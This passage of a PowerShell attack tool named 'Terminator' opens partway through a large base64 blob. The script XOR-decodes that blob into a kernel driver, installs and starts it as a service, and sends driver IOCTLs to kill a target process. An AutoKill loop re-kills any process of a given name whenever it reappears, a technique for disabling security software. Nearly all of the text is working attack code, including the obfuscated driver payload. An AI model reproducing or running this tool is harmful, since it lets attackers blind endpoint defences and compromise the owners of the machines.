R0R0kOn4JmTLtUZLZ99+1BtDH2VYU1x/0x3TolhUVFBQVWUEZF5lXFNWAFFTRlcXEGRMZUJTVgBRX0ZFEjk6NzQ5BjwyO3U7I3gmNGRyZXBTVgBRVkZLEjk6NzQ5BjwyO3UWOjEwBjwyOzw7MnUWFHV4dRJnZUtCWGRhZWRlZ2ViZWRhYw9CWGRgZWdlYWRgZWFlbA9l1PRkXmVcU1YAUVNGVwUZZERlWlNWAFFdRl0eNCE6Ijw2MGREZVpTVgBRUkZdHjQhOiI8NjBkYGVmU1YAUV9GeRIYEAcQHnUGLCYhMDgsdR46OCUgITAnOiIwdQUnLzA4LCY5NCJ1EjgwJzA+ZGBlZlNWAFFWRnkSGBAHEB51BiwmITA4LHUeOjglICEwJzoiMHUFJy8wOCwmOTQidRI4MCcwPmXXVHdlWFNcf9Md06JYVFRUUFVW11RaVWXXVF9X11RUVeTuje2UsFfgw7i/YksO0NwUY0s5ZyERdD5WA2bzg2xO2nkc4YnFSP2J5iwj0QanMjE6SVqhZ9Vc/xfw/bsaexNf6i9G2cDU/bQ5O06iYWkADKMAPCKBQ3m5wrmkbHAFLyKuAeeV8uArtVF50FLvOkCLXa3AbkkaAacj9UAPVttadpb/bGwW//3At9IHiOwJClZRg21ccu+n8gE/nKNv+JY54gURoxWOauddmwjaBuWqr71TKOLISqhK6uWTA22ZFM7hEO+oUCZQrweuppn42LYuyD9o041VQheocyEmeEsrEwFfNI/3H94QKxriHAfOFd8vf0x36aSA4+7CZx6w+05XVlRVVPbXVN5l11TSZVtTVgBIWlRUqlFRVldS1WUZU1YASHVREGUWZRRTXH5TVFFU9WdUZ2VhZWdTXX5TVFBQUldUQ3M9ISElJm96eiIiInsyOTo3NDkmPDI7ezY6OHonMCU6JjwhOicsemVcU1YASEZRV2VVZUZTVgBIcFFZZV9TXX5TVFBQUlZWZWtTVgBISlFiZWBlZvVk9XrTeD0hISVveno2Jzl7Mjk6NzQ5JjwyO3s2Ojh6MiZ6MiY2OjEwJjwyOzJnezYnOWXU01NdflNUUFBSVFRRL2UtZRVTXX5TVFBQUmVX02E9ISElb3p6JjA2ICcwezI5Ojc0OSY8Mjt7Njo4ejY0NjAnIXoyJjY6MTAmPDI7Mmd7NichZWFTXX5TVFBQUmVU0309ISElb3p6OjYmJWd7Mjk6NzQ5JjwyO3s2Ojh6MiY2OjEwJjwyOzJnZUhTVgBIW1FDUUHtMYjokO5ONH3PbPJ5hllehxzfK2VKU1YASHZRTWVD1UFdO43jyd/quGuCliEImdVK/XoFL2VYU1x/0x3TolhUVFBQVVbXVFRV+Bx9z/BZOtLoJfrSR6Cd6lWgsRsNjHprUXznQss2Pf3O8YP2D13z7nJI7/EB9Kq/9LIhvgtuAxhdzNnGUQabaOMk06siwr6h++fmo8aqxMmyqrcfhiQLhH99baqD5vFoLOMiSI3LDlI6+9RL35/TCjuAEg8GQ7sP7Q3dRUswMkFD9Prjq7b5aCXxBcVmSx1Lfu7r2R2lq2SxGZQnkQkDbcKyWYSSgPrjVyYOJDWeHQbjuR40urtU6yFdo/VXQejG1OQmBkqEnFbWzFPtvkUfQ9FdH2WsNNIhuna5rpLjoJKwa4DLHrIasbTZu5CeG/wDTq3XK96bOGV8y52AgIo3h2XXUHNl11Zb9VZXVFdXXzR8QHJVVVVVVX9lWFNcf9Md06JYVFRQUFVlKmReZVxTVgBRU0ZXAAZkRmVEU1YAUV1GXwI0Jj08OzIhOjtkRWVbU1YAUVJGUgcwMTg6OzFkS2VJU1YAUV9GQBg8Nic6JjozIXUWOiclOic0ITw6O2R8ZXJTVgBRVkZ1GDw2JzomOjMhdRY6MTB1AzAnPDM8NjQhPDo7dQc6OiFlS0JYZGRlYWRgZGxgYGVtD0JYZ2RlYWRgZ2VlYGVtD2UCZF5lXFNWAFFTRlcXEGRMZUJTVgBRX0ZFEjk6NzQ5BjwyO3U7I3gmNGRFZVtTVgBRXkZSBzo6IXUWFGROZUxTVgBRVkZHEjk6NzQ5BjwyO3UHOjohdRYUZddUd2VYU1x/0x3TolhUVFRQVVbXVFpVZddUX1fXVFRVj1uzzNib9rYa3yuupN7WcD6/HUqkf+XswERR6KU2hLcyM5pJiJpOHX672Nzbz/p81TD+vJJ4R57+SRklUvRoX2WYQNgarYiB2QVASboFu5F7oqm8B6fEKLU4gGBl2wsWJqcUvIA/tufcbwNsbTpTad08Dn8YkPIB7Tncmc6saZ+wqNygR2nHLcODiSE7xhE0hNiSE+cgW9O9TN+AODmALUPA97ydX22+p3FGGiYBxkbQb07pS2Hg3lDZ7CLe5I5KdcT+XAY7xZsuYiHsJRLEdwQ2Qyz75PsUc12dTH6EE/8dgzF/gtZhqnl/lDlMFh9S0LKGKaN0Pbq/pwfKKsbFmldWVFVU9tSeZdSdZURTVgBIdVFfZV1lU1NRAEh1VWVeU1YASFpRUVZXVNNlWlNWAEhGVFSqUVBlVlRUqmVIU1YASFtRQ1FBNS4zTxBYwp/cBXooUZhh/aqpqB5lSlNWAEh2UU1lQ9VBN65fdA4qFjtEj1wBBT6gh8MkpMtlAFNWAEhKURtlGWUf9R31E9MRPSEhJW96ejYnOXs4PDYnOiY6MyF7Njo4eiU+PHo2Jzl6JSc6MSA2ISZ6GDw2JzomOjMhFjoxMAMwJzwzBzo6IXs2JzllWFNcf9Md06JYVFRQUFVW11dUVQqthTAhP9ST858OVuPEH70e6Lp+9BeluuHw+Jhm3LlewND5NwVEXf8Nhw/11kWw82Yvpw+nkKstKaXJ1opMX4wmw1V4g3mYvEGBSMi9amlPI6LFG65UYF85xkb1lgO+MvWxhC/Di5cypMWtXy6gZ07BuQogSthOYY85DfKeeHLLd3PinP9lmVIi7WO211TgbGmZ2IzyCip25tIqjgLNxN6Cm3B1tsgxGojSon49HFZNtfCKKQo9MRhj1tgS1Ke8tf08/q8uQ2lQ8Ry/3WVMXzkmUAQtioFIiG+BKnixGwHr1hZLLyFm4fG+giUm6X9Xzdwzu6Pp2iHGLbZ8Vw8PFrcNmymaz5+HY9xutwqPc1AbnYGyecRbQsKQ67veRkR2dnwar9aFBaPvr4Bo5kJooapWH/ZwibMgNISvYF0+g3IRhT3i2BC1vtB5nfQINBEhQ1sMDfuH4Lvw6YOCUj/jfC2owjIyiNgaQsEah7hZ+sJxYpb3ydSPPrQW4wIuGbnqLEZMssq9EbwS1OILJUvErWiELnKgXiUDFh1QiPx6/tNFSF5Htk+FGTsgi4MQ5l4h3dLGCQMfFFfPovvizI3jKt2vRKcQKaGCTsSVSaT1roFdXxRPQX+bob5hHTsz0suAHi9sKu5baG00miYCU7FHUz6MPgZdmCVNl3gawhPE6fylZNdXVWXXVKlXVFRlMmUEZF5lXFNWAFFTRlcXEGRMZUJTVgBRX0ZFEjk6NzQ5BjwyO3U7I3gmNGRyZXBTVgBRVkZLEjk6NzQ5BjwyO3UWOjEwBjwyOzw7MnUWFHV4dRJnV0dEdJDp+CZky7VGS2ffftQbQx9lXFNQfltWV09QVfUlZUVTX35TVFFU12JXVFlkV2VVZUxTXH/THdOiWFRcVmRZU19+U1RRVNdiV1RRZUlTX35TVFFU12JXVF5kW2VZU19+U1RRVNdiV1RAZXZTXH/THdOiWFRcUWRDUUE01Lf7D6ZdxQPLUVw+9eVpm3pYcmVYU1x/0x3TolhUVFRQVVHXVFVrKpeB43OXFD8QryziWjFnRBuTYElvUdFAzozlYL1n6XFTTsBdSFCbaYnxLzOJ40rMb9f/U9x7hmMmBh9F1xTIPp8uh/9+tAD4E7jEILL+bA389rL6XKgT4eLUpax+N5CQc2XzHNHEBNMmZzN55hLmhNZf1y19b/Da/eAw8FnMzuyGbcUDDonx+quKQTFtdDe8XNYufDhuvkSKSJvM7vmBwlHYj+L/o8IDrHH8kBDwGnfgckHmzA0fKt9D0zwUDLE+tV+Rej8SYlce/wJa0tT/owVt8bQushREMJS7kF7RpiqWQf1MM3nPjHhoNyBuweoFavBPmI5sHjXm1XwtkGKXVQ=="
$bytes = [Convert]::FromBase64String($base64String)
for ($i = 0; $i -lt $bytes.Length; $i++) {
$bytes[$i] = $bytes[$i] -bxor 85
}
[IO.File]::WriteAllBytes($driverPath, $bytes)
Write-Host '[*] End of driver extraction.'
}
function Main
{
Write-Host '----------------------------'
Write-Host "`tTerminator`n"
Write-Host 'github : github.com/xiosec'
Write-Host 'twitter: twitter.com/xiosec'
Write-Host '----------------------------'
if($ProcId -le 1 -And $ProcName -eq ""){
Write-Host '[*] The name or ID of the process is required!';
return
}
if($ProcName -ne ""){
$ProcId = (Get-Process -Name $ProcName -ErrorAction Ignore).Id
if($ProcId -le 0){
Write-Host '[*] There is no process with this name!';
return
}
Write-Host '[*] Process Id:', $ProcId
}
if ((Get-Process -Id $ProcId -ErrorAction Ignore) -eq $null){
Write-Host '[*] There is no process with this id!'
return
}
$Win32Types = Get-Win32Types
$Win32Functions = Get-Win32Functions
$Win32Constants = Get-Win32Constants
$hSCM = $Win32Functions.OpenSCManager.Invoke('.', 'ServicesActive', $Win32Constants.SC_MANAGER_ALL_ACCESS);
if ($hSCM -eq [System.IntPtr]::Zero) {
$errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Host '[*] Failed to open SCM handle. Error code: $errorCode'
$_ = $Win32Functions.CloseServiceHandle.Invoke($hSCM)
return
}
$hService = $Win32Functions.OpenService.Invoke($hSCM, $ServiceName, $Win32Constants.SERVICE_ALL_ACCESS)
if ($hService -ne [System.IntPtr]::Zero){
Write-Host '[*] Service already exists.'
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[IntPtr]$Service_StatusPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
if ($Win32Functions.QueryServiceStatus.Invoke($hService, $Service_StatusPtr)){
$Service_Status = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Service_StatusPtr, [Type]$Win32Types.SERVICE_STATUS)
if ($Service_Status.dwCurrentState -eq $Win32Constants.SERVICE_RUNNING){
Write-Host " \___STATE: 0x00000004 (RUNNING)"
}
elseif($Service_Status.dwCurrentState -eq $Win32Constants.SERVICE_STOPPED){
Write-Host " \___STATE: 0x00000001 (STOPPED)"
$status = $Win32Functions.StartServiceA.Invoke($hService, $null, $null)
if ($status -ne [System.IntPtr]::Zero){
Write-Host '[*] Restart the service!'
}else{
Write-Host '[*] Failure to start the service!'
$Win32Functions.CloseServiceHandle.Invoke($hSCM)
$Win32Functions.CloseServiceHandle.Invoke($hService)
return
}
}
}else{
Write-Host '[*] Failed to query service status!'
}
}
if ($hService -eq [System.IntPtr]::Zero){
Extract-Driver
$hService = $Win32Functions.CreateServiceA.Invoke(
$hSCM,
$ServiceName,
$ServiceName,
$Win32Constants.SERVICE_ALL_ACCESS,
$Win32Constants.SERVICE_KERNEL_DRIVER,
$Win32Constants.SERVICE_DEMAND_START,
$Win32Constants.SERVICE_ERROR_IGNORE,
$driverPath,
$null,
$null,
$null,
$null,
$null
)
if ($hService -eq [System.IntPtr]::Zero){
Write-Host '[*] The driver failed to load!'
$Win32Functions.CloseServiceHandle.Invoke($hSCM)
$Win32Functions.CloseServiceHandle.Invoke($hService)
return
}
Write-Host '[*] Service created successfully.'
$status = $Win32Functions.StartServiceA.Invoke($hService, $null, $null)
if ($status -ne [System.IntPtr]::Zero){
Write-Host '[*] Starting service'
}else{
Write-Host '[*] Failure to start the service!'
$Win32Functions.CloseServiceHandle.Invoke($hSCM)
$Win32Functions.CloseServiceHandle.Invoke($hService)
return
}
}
$Win32Functions.CloseServiceHandle.Invoke($hSCM)
$Win32Functions.CloseServiceHandle.Invoke($hService)
$hDevice = [IntPtr]::Zero
$lpFileName = ("\\.\{0}" -f $ServiceName)
$hDevice = $Win32Functions.CreateFileA.Invoke($lpFileName, $Win32Constants.GENERIC_WRITE -bor $Win32Constants.GENERIC_READ, 0, [IntPtr]::Zero, $Win32Constants.OPEN_EXISTING, $Win32Constants.FILE_ATTRIBUTE_NORMAL, [IntPtr]::Zero)
if ($hDevice -eq -1) {
$errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Host "[*] Failed to create file handle. Error code: $errorCode"
return
}
$INITIALIZE_IOCTL_CODE = 0x9876C004
$TERMINSTE_PROCESS_IOCTL_CODE = 0x9876C094
$input = [BitConverter]::GetBytes($ProcId)
$output = @(0,0)
$BytesReturned = [UInt32] 0
$Win32Functions.DeviceIoControl.Invoke($hDevice, $INITIALIZE_IOCTL_CODE, $input, $input.Length, $output, $output.Length, [Ref]$BytesReturned, 0)
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Host '----------------------------'
if(!$AutoKill){
$result = $Win32Functions.DeviceIoControl.Invoke($hDevice, $TERMINSTE_PROCESS_IOCTL_CODE, $input, $input.Length, $output, $output.Length, [Ref]$BytesReturned, 0)
if(!$result){
$errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Host "Failed to DeviceIoControl. Error code: $errorCode"
$Win32Functions.CloseServiceHandle.Invoke($hDevice)
return
}
Write-Host '[*] The process ended successfully'
$Win32Functions.CloseServiceHandle.Invoke($hDevice)
return
}
while($true){
sleep -Milliseconds 700
$ProcId = (Get-Process -Name $ProcName -ErrorAction Ignore).Id
if ($ProcId -gt 1){
Write-Host ('[+] Process "{0}" was detected' -f $ProcName)
Write-Host ' \___Process ID:', $ProcId
$input = [BitConverter]::GetBytes($ProcId)
$result = $Win32Functions.DeviceIoControl.Invoke($hDevice, $TERMINSTE_PROCESS_IOCTL_CODE, $input, $input.Length, $output, $output.Length, [Ref]$BytesReturned, 0)
Write-Host ' \___Termination status:', $result
}
}
}
Main | Out-Null
}